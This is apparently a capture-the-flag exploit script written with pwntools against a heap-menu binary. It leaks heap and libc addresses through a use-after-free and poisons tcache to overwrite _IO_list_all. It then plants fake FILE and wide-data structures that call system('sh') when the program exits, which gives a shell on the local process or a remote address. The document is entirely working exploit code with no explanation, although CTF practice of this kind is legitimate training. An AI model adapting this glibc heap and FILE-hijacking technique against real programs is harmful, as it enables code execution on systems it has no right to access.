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| from pwn import * from pwn import p64,p32,u64,u32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('10.213.13.228', 21199) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def add(index,size,data): rl(b">>> ") sl(b'1') rl(b"please input chunk_idx: ") sl(str(index)) rl(b"Enter chunk size: ") sl(str(size)) rl(b"Enter chunk data: ") s(data) def show(index): rl(b">>> ") sl(b'3') rl(b"Enter chunk id: ") sl(str(index)) def delete(index): rl(b">>> ") sl(b'2') rl(b"Enter chunk id: ") sl(str(index)) def exit(): rl(b">>> ") sl(b'4')
add(0,0x10,'a') delete(0) add(1,0x10,p64(0x30)+p64(1)) show(0) rl(b'\x01\x00\x00\x00\x00\x00\x00\x00') heap_leak = uu32() heap_key = heap_leak >> 12 lg("heap_key",heap_key) heap_base = heap_key << 12 lg("heap_base",heap_base)
add(2,0x10,'a') for i in range(8): add(i+3,0x80,'a') add(11,0x10,'a') for i in range(8): delete(i+3) for i in range(4): add(i,0x10,'a') delete(11) add(5,0x18,p64(0x10)+p64(1)+p64(heap_base+0x810)) show(11) libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak - 0x21ace0 lg("libc_base",libc_base) IO_list_all = libc_base + libc.sym['_IO_list_all'] lg("IO_list_all",IO_list_all) stderr = libc_base + libc.sym['_IO_2_1_stderr_'] stdout = libc_base + libc.sym['_IO_2_1_stdout_'] lg("stderr",stderr) IO_jump_t = libc_base + 0x2170c0 for i in range(9): add(i,0x40,'a') add(9,0x10,'aa') delete(9) add(10,0x18,p64(0x30)+p64(1)+p64(heap_base+0xb80)) for i in range(9): delete(i)
delete(9) for i in range(7): add(i,0x40,'a') for i in range(3): add(i,0x30,'a')
fake_file = b' sh;\x00\x00\x00' fake_file += p64(0)*4 + p64(1) fake_file = fake_file.ljust(0x68,b'\x00') fake_file += p64(stdout) fake_file = fake_file.ljust(0x80,b'\x00') fake_file = bytes(fake_file)
fake_wide = p64(0)*4 fake_wide += p64(0)*3 fake_wide += p64(0) + p64(0)*20 + p64(heap_base+0x9a0) fake_wide += p64(0)*14+p64(libc_base+libc.sym['system'])
fake_wide2 = p64(0)*6 + p64(heap_base+0x730) + p64(libc_base+libc.sym['system']) add(0,0x80,fake_wide2)
add(1,0x80,p64(0)*5+p64(IO_jump_t)+p64(0)*10) add(2,0x80,fake_file)
add(3,0x40,p64(IO_list_all^heap_key)) add(4,0x40,'a') add(5,0x40,'a') add(6,0x40,p64(heap_base+0x600)) exit()
inter()
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